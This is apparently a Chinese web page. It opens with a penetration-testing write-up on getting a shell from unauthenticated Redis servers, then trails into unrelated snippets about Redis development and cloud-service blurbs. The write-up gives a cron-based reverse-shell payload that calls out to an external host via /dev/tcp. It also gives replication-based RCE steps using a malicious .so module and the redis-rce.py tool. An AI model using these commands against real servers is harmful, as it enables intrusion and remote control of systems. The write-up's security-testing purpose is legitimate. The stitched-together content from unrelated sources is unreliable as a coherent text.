Redis+Getshell的示例分析
Redis Assistant 是一款为Redis设计的高效可视化管理与监控工具，提供多种操作模式，高效处理服务器数据。日常使用里的持续防护和信息管理会更突出，适合把安全控制放进长期使用流程中的场景。
前言：当我们接到一个授权渗透测试的时候，常规漏洞如注入、文件上传等尝试无果后，扫描端口可能会发现意外收获。知己知彼乃百战不殆，Redis介绍：简单来说redis就是一个Key-Value类型的数据库，redis所有数据全部在内存中进行操作，并且它可以将内存中的数据定期存储在磁盘中，并且支持保存多种数据结构(String、hash、list等)。运筹帷幄之中，Redis漏洞：1、未授权访问漏洞Redis在默认情况下，会绑定在0.0.0.0:6379，如果没有采用限制IP访问，就会将Redis服务暴露在公网上
前言：
当我们接到一个授权渗透测试的时候，常规漏洞如注入、文件上传等尝试无果后，扫描端口可能会发现意外收获。
知己知彼乃百战不殆，Redis介绍：
简单来说 redis 就是一个Key-Value类型的数据库， redis 所有数据全部在内存中进行操作，并且它可以将内存中的数据定期存储在磁盘中，并且支持保存多种数据结构(String、hash、list等)。
运筹帷幄之中，Redis漏洞：
1、未授权访问漏洞
Redis在默认情况下，会绑定在0.0.0.0:6379，如果没有采用限制IP访问，就会将Redis服务暴露在公网上，并且在没有设置密码认证的情况下，会导致任意用户未授权访问Redis以及读取Redis数据并写入公钥进行远程连接等。
当拿到数据库权限是不会满足我们的，我们的目标只有一个getshell！
目前较主流的两个方法，第一种定时计划反弹shell、第二种利用主从复制rce。
2、定时计划反弹shell
1）set x "\n* * * * * bash -i >& /dev/tcp/1.1.1.1/888 0>&1\n"
2）config set dir /var/spool/cron/
3）config set dbfilename root
4）save
3、利用主从复制rce
漏洞存在于4.x、5.x版本中，Redis提供了主从模式，主从模式指使用一个redis作为主机，其他的作为备份机，主机从机数据都是一样的，从机只负责读，主机只负责写。在Reids 4.x之后，通过外部拓展，可以实现在redis中实现一个新的Redis命令，构造恶意.so文件。在两个Redis实例设置主从模式的时候，Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件，即可执行命令。
需要利用一个工具，GitHub下载即可。
1）git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand（需要make）
2）git clone https://github.com/Ridter/redis-rce.git
进而通过未授权访问或者弱口令连接redis，执行脚本即可获取shell。
决胜千里之外，实战演练：
本次扫到了6379也就是Redis，有的时候可能或改默认端口，建议全端口扫描,本次利用主从复制rce获取shell(由于该漏洞已提交src，签约保密协议，故搭建靶机还原真实环境，保证原汁原味。)
攻击端ip：192.168.109.134
服务端ip：192.168.109.136
通过未授权访问连接redis（如果有密码，可以尝试爆破，authpassword 登陆系统）：Redis-cli –h ip
利用主从复制rce获取shell
首先要生成恶意.so文件，下载RedisModules-ExecuteCommand使用make编译即可生成。
攻击端执行：
python redis-rce.py -r 目标ip-p 目标端口 -L 本地ip -f 恶意.so
成功获取shell
在Docker环境下为PHP安装Redis扩展：手动编译需下载源码、安装phpize、配置编译并安装，生成redis.so并在php.d目录新建redis.ini加载，重启PHP-FPM；也可直接yum安装php72w-pecl-redis，免手动编译。
配置PHP的Redis扩展：先安装Redis服务，从GitHub下载phpredis源码，用phpize编译安装，修改php.ini添加extension=redis.so，重启php-fpm或Apache，通过phpinfo验证并连接Redis。
C++结构体无法直接序列化为RESP协议，需手动将字段映射为*N数组嵌套$lenbulkstring形式。整数需转换为字符串并加:前缀，空字符串用$0\r\n，null用$-1\r\n。长度计算需精确到字节数，特别注意二进制安全，同时确保字段顺序与结构体定义一致。
Redis作为跨服务临时状态枢纽，需按消息队列、缓存和原子状态三重角色设计。选型用List实现任务分发及延迟重试，Stream用于事件广播与位点回溯。go-redis/v8需配置MinIdleConns、MaxRetries及超时。数据写入应JSON序列化并带type标签、设合理TTL、将关键字段提至顶层。消费通过原子GET+DEL或processedkey
在高并发秒杀场景下，利用Redis的减库存原子操作预扣减库存拦截超卖请求，再通过数据库乐观锁（版本号与库存校验）确保最终一致性，异常时回滚Redis库存并借助Lua脚本保证原子性，从而有效防止库存超卖。
在Go中使用go-redis执行Lua脚本可借助原子性解决竞态问题，通过redis.Script封装脚本并自动处理SHA1缓存与重试。需注意KEYS必须为非空切片且所有键在Cluster模式下落在同一slot，ARGV以字符串传入并由tonumber转换。返回值需先检查错误再调用Val()，避免panic。
先看一个典型场景：电商秒杀、库存扣减、定时任务重复调度——这些并发冲突在 TP6 应用里屡见不鲜。用 Redis 的 SETNX 做互斥锁，确实是轻量又直接的方案，但“能用”和“稳妥”之间，隔着三层硬功夫：原子加锁、身份校验、合理超时。这三条，差一条就翻车。 很多人第一次上手，直接写 SETNX 加
高并发抢购中，Redis的DECR原子操作可安全扣库存；配合think-queue异步削峰，接口仅扣库存和推消息；分布式锁需用SETNXEX加唯一标识，释放时用Lua脚本校验；成功资格后须以数据库事务双写为准，失败时补回Redis库存。
基于Redis的ZSET实现延时队列需解决并发重复消费、失败重试混乱、精度不足及内存爆炸等问题。通过Lua脚本保证取删原子性，使用毫秒级时间戳，对临时错误采用指数退避重试，永久错误记入独立哈希表，并限制最大延迟、定期清理过期任务、使用紧凑序列化格式。
操作 Redis 的时候，改个 Key 的过期时间其实是个高频场景。特别是做运维排查或者临时调试那会儿，谁也不想反复切命令行窗口、背那些命令参数。好在 RedisInsight 这个图形工具把这事儿做得很顺手——三种方式任选，总有一种合你胃口。 在动手前，先确认一下 Key 当前的 TTL 状态是个
火山引擎是字节跳动旗下企业级云与AI服务平台。聚焦大模型核心能力，依托字节自研豆包多模态大模型，凭借火山方舟一站式平台，提供模型精调、推理部署、智能应用搭建等全链路服务，结合高性能AI算力，助力各行业快速落地大模型数字化与智能化应用。
